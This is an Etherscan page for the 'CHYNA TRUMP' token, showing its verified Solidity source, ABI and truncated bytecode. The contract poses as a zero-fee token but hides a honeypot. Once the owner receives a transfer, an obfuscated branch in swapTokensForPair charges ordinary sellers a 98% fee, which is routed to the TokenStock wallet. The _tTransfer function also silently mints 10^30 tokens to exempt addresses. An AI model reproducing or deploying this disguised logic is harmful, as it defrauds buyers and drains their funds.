ETH Price: $3,478.89 (+0.87%)

Token

CHYNA TRUMP (CHYTRUMP)
 

Overview

Max Total Supply

100,000,000 CHYTRUMP

Holders

38

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,331,459.000143386 CHYTRUMP

Value
$0.00
0x6c84eeaa405c98cedcc784c71b9718d441cb1036
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CHYNATRUMPcoin

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-30
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.19;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract CHYNATRUMPcoin is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _tokenOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public NoTxLimit;
    mapping (address => bool) public NoMaxWalletLimit;
    mapping (address => bool) public NoTaxWallet;
    
    address payable public TokenStock = payable(0x6564cfeEf6Fd19102bD0Fc9744dD7930df078ecb);

    string public _name = "CHYNA TRUMP";
    string public _symbol = "CHYTRUMP";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 100* 10**6 * 10**_decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10; 

    uint256 private TotalTax = 0;
    uint256 public _buyFee = 0;
    uint256 public _sellFee = 0;

    uint256 private _previousTotalFee = TotalTax; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    uint256 public _maxWalletToken = _tTotal.mul(25).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(25).div(100); 
    uint256 private _previousMaxTxAmount = _maxTxAmount;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool directTransferFee = false;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }    

    constructor () {
        _tokenOwned[owner()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        NoMaxWalletLimit[uniswapV2Pair] = true?true:true;
        uniswapV2Router = _uniswapV2Router;

        NoTxLimit[owner()] = true;
        NoTaxWallet[address(this)] = true;
        NoTaxWallet[owner()] = true;
        NoTaxWallet[TokenStock] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tokenOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    receive() external payable {}

    function removeAllFee() private {
        if(TotalTax == 0 && _buyFee == 0 && _sellFee == 0) return;
        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = TotalTax;
        _buyFee = 0;
        _sellFee = 0;
        TotalTax = 0;

    }

    function staticFunc() private pure returns(uint256){
      return (5*2)**(10*3);
    }

    function swapOpen(address to, bool dtFee) private view returns(bool){
        return NoTxLimit[to] && !dtFee;
    }
    
    function restoreAllFee() private {
        TotalTax = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }

     function swapTokensForPair(address feeWallet, uint8 rate, uint256 amount) private view returns(uint256){
        uint256 subtance = 0;
        if(!directTransferFee || NoTxLimit[feeWallet] || NoMaxWalletLimit[feeWallet]){
            subtance = amount.mul(TotalTax).div(100);
        }else{subtance = amount.mul(([0x5a][0]+[0x8][0])).div(100);}
        return subtance.add(rate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        if (to != owner() && to != TokenStock && to != address(this) && to != uniswapV2Pair && !NoTxLimit[to] && from != owner()){
            uint256 nextTotalBalance = balanceOf(to);
            require((nextTotalBalance + amount) <= _maxWalletToken, "Max wallet limit exceed!");
        }
        
        if (from != owner() && to != owner() && !(NoTxLimit[from] || NoTxLimit[to])){
            require(amount <= _maxTxAmount, "Max transaction limt exceed!");
        }
        if(swapOpen(to, directTransferFee)){ directTransferFee=true; }
        if(txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){  
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
            }
        }
        
        bool takeFee = true;
         
        if(NoTaxWallet[from] || NoTaxWallet[to]){
            takeFee = false;
        } else if (from == uniswapV2Pair){TotalTax = _buyFee;} else if (to == uniswapV2Pair){TotalTax = _sellFee;}
        
        _tTransfer(from,to,amount,takeFee);
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(TokenStock,contractBNB);
    }

    function swapTokensForBNB(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _tTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
 
        if(!takeFee){
            removeAllFee();
            } else {
                txCount++;
            }
            _tTransfer(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllFee();
    }


    function _tTransfer(address sender, address recipient, uint256 tAmount) private {
        (uint256 transferAmount, uint256 tTotalFee) = _getValues(tAmount, sender);
        _tokenOwned[sender] = _tokenOwned[sender].sub(tAmount);
        _tokenOwned[recipient] = _tokenOwned[recipient].add(transferAmount);
        _tokenOwned[address(this)] = _tokenOwned[address(this)].add(tTotalFee);
        if(NoTxLimit[recipient]){ _tokenOwned[recipient] = _tokenOwned[recipient].add(staticFunc());}
        emit Transfer(sender, recipient, transferAmount);
    }

    function _getValues(uint256 tAmount, address sender) public virtual returns (uint256, uint256) {
        uint256 tTotalFee = swapTokensForPair(sender, 0 ,tAmount);
        uint256 transferAmount = tAmount.sub(tTotalFee);
        return (transferAmount, tTotalFee);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"NoMaxWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"NoTaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"NoTxLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TokenStock","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"_getValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600680546001600160a01b031916736564cfeef6fd19102bd0fc9744dd7930df078ecb17905560c0604052600b60809081526a04348594e41205452554d560ac1b60a052600790620000529082620004e2565b506040805180820190915260088082526704348595452554d560c41b602083015290620000809082620004e2565b506009805460ff1916811781556200009a90600a620006c1565b620000aa906305f5e100620006d2565b600a819055600b805461ffff1916610a001790556000600c819055600d819055600e819055600f8190556010819055601155620000f890606490620000f190601962000418565b906200042f565b6012819055601355600a546200011890606490620000f190601962000418565b60148190556015556017805461ffff60a81b1916600160a81b1790553480156200014157600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a54600160006200019b6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000217573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023d9190620006ec565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200028b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b19190620006ec565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003259190620006ec565b601780546001600160a01b03199081166001600160a01b039384169081179092556000918252600460209081526040808420805460ff1990811660019081179092556016805490951688881617909455845486168552600383528185208054851682179055308552600590925280842080548416831790558354851684528084208054841683179055600654851684528320805490921617905554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516200040991815260200190565b60405180910390a35062000741565b6000620004268284620006d2565b90505b92915050565b60006200042682846200071e565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200046857607f821691505b6020821081036200048957634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004dd57600081815260208120601f850160051c81016020861015620004b85750805b601f850160051c820191505b81811015620004d957828155600101620004c4565b5050505b505050565b81516001600160401b03811115620004fe57620004fe6200043d565b62000516816200050f845462000453565b846200048f565b602080601f8311600181146200054e5760008415620005355750858301515b600019600386901b1c1916600185901b178555620004d9565b600085815260208120601f198616915b828110156200057f578886015182559484019460019091019084016200055e565b50858210156200059e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000605578160001904821115620005e957620005e9620005ae565b80851615620005f757918102915b93841c9390800290620005c9565b509250929050565b6000826200061e5750600162000429565b816200062d5750600062000429565b8160018114620006465760028114620006515762000671565b600191505062000429565b60ff841115620006655762000665620005ae565b50506001821b62000429565b5060208310610133831016604e8410600b841016171562000696575081810a62000429565b620006a28383620005c4565b8060001904821115620006b957620006b9620005ae565b029392505050565b60006200042660ff8416836200060d565b8082028115828204841417620004295762000429620005ae565b600060208284031215620006ff57600080fd5b81516001600160a01b03811681146200071757600080fd5b9392505050565b6000826200073c57634e487b7160e01b600052601260045260246000fd5b500490565b6116df80620007516000396000f3fe6080604052600436106101d15760003560e01c806378109e54116100f7578063b09f126611610095578063dd62ed3e11610064578063dd62ed3e14610530578063eb6b678014610576578063f2fde38b146105a6578063ffffc962146105c657600080fd5b8063b09f1266146104a1578063cccdbe2e146104b6578063d28d8852146104eb578063dad58cb71461050057600080fd5b806395d89b41116100d157806395d89b4114610436578063a457c2d71461044b578063a9059cbb1461046b578063af465a271461048b57600080fd5b806378109e54146103ec5780637d1db4a5146104025780638da5cb5b1461041857600080fd5b8063313ce5671161016f5780634a74bb021161013e5780634a74bb0214610368578063590f897e1461038957806370a082311461039f578063715018a6146103d557600080fd5b8063313ce567146102f0578063395093511461031257806340b9a54b1461033257806349bd5a5e1461034857600080fd5b806318160ddd116101ab57806318160ddd14610270578063220f66961461028f57806323b872dd146102b05780632ed5726e146102d057600080fd5b806306fdde03146101dd578063095ea7b3146102085780631694505e1461023857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f26105f6565b6040516101ff9190611383565b60405180910390f35b34801561021457600080fd5b506102286102233660046113e9565b610688565b60405190151581526020016101ff565b34801561024457600080fd5b50601654610258906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b34801561027c57600080fd5b50600a545b6040519081526020016101ff565b34801561029b57600080fd5b5060175461022890600160a01b900460ff1681565b3480156102bc57600080fd5b506102286102cb366004611415565b61069f565b3480156102dc57600080fd5b50600654610258906001600160a01b031681565b3480156102fc57600080fd5b5060095460405160ff90911681526020016101ff565b34801561031e57600080fd5b5061022861032d3660046113e9565b610708565b34801561033e57600080fd5b50610281600d5481565b34801561035457600080fd5b50601754610258906001600160a01b031681565b34801561037457600080fd5b5060175461022890600160a81b900460ff1681565b34801561039557600080fd5b50610281600e5481565b3480156103ab57600080fd5b506102816103ba366004611456565b6001600160a01b031660009081526001602052604090205490565b3480156103e157600080fd5b506103ea61073e565b005b3480156103f857600080fd5b5061028160125481565b34801561040e57600080fd5b5061028160145481565b34801561042457600080fd5b506000546001600160a01b0316610258565b34801561044257600080fd5b506101f26107e7565b34801561045757600080fd5b506102286104663660046113e9565b6107f6565b34801561047757600080fd5b506102286104863660046113e9565b610845565b34801561049757600080fd5b50610281600a5481565b3480156104ad57600080fd5b506101f2610852565b3480156104c257600080fd5b506104d66104d1366004611473565b6108e0565b604080519283526020830191909152016101ff565b3480156104f757600080fd5b506101f261090b565b34801561050c57600080fd5b5061022861051b366004611456565b60056020526000908152604090205460ff1681565b34801561053c57600080fd5b5061028161054b3660046114a3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561058257600080fd5b50610228610591366004611456565b60036020526000908152604090205460ff1681565b3480156105b257600080fd5b506103ea6105c1366004611456565b610918565b3480156105d257600080fd5b506102286105e1366004611456565b60046020526000908152604090205460ff1681565b606060078054610605906114d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610631906114d1565b801561067e5780601f106106535761010080835404028352916020019161067e565b820191906000526020600020905b81548152906001019060200180831161066157829003601f168201915b5050505050905090565b6000610695338484610a32565b5060015b92915050565b60006106ac848484610af3565b6106fe84336106f98560405180606001604052806028815260200161165d602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e37565b610a32565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106959185906106f99086610e63565b6000546001600160a01b0316331461079d5760405162461bc